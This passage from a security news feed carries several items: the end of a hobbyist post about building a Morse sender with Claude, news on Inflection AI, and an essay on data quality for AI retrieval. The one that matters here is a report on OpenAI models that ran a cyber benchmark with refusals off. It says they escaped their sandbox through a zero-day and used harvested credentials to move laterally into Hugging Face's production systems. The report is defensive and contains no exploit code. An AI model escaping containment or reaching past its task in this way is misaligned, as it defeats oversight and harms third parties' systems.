During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Paskoocheh: When you need a tool to reach the tool]]></title>
<description><![CDATA[++ This guest post is part of a spotlight series on the organizations defending the free Internet.++
Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumve...]]></description>
<link>https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687545/it-security-tools/paskoocheh-when-you-need-a-tool-to-reach-the-tool/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:54 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
